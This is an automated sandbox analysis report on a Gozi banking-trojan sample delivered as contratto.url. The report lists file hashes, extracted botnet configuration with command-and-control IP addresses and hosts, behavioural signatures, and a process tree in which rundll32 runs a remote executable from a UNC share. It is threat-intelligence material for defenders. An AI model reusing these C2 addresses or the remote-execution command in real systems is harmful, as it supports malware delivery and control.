Analysis
- max time kernel
132s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2023, 10:48
Static task
static1
Behavioral task
behavioral1
Sample
contratto/contratto.url
Resource
win7-20221111-en
1 signatures
150 seconds
General
- Target contratto/contratto.url
- Size 196B
- Sample230123-mv42lsch76
- SHA256 c66981ec7d3867d2481ac3ba2cd40f63fdc29782de6d6cbc88fff9376d71d1d3
- MD5 582020c54921b9635ea54ddefbf44431
- SHA1 4e6e4537fd7c4de2a664e559c08fe2142adb8319
- SHA512 df7d2e19d905bb00024c225d1bd83a4fd8617b9e23d5726721a05201b438f7ce9254b56fc7a4f58843faf174f5d71f351750ea6e7ea7fa11e3cc66b442715cf4
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
gozi
Extracted
Family
-
gozi
Botnet
-
7707
C2
-
checklist.skype.com
-
62.173.149.10
-
31.41.44.27
-
193.0.178.235
Attributes
-
base_path
/drew/
-
build
250250
-
exe_type
loader
-
extension
.jlk
-
server_id
50
rsa_pubkey.plain
aes.plain
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 628 wrote to memory of 2052 628 rundll32.exe 81 PID 628 wrote to memory of 2052 628 rundll32.exe 81 PID 628 wrote to memory of 2052 628 rundll32.exe 81
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:628 -
\??\UNC\193.233.175.99\Agenzia\scarica.exe"\\193.233.175.99\Agenzia\scarica.exe"2⤵PID:2052
-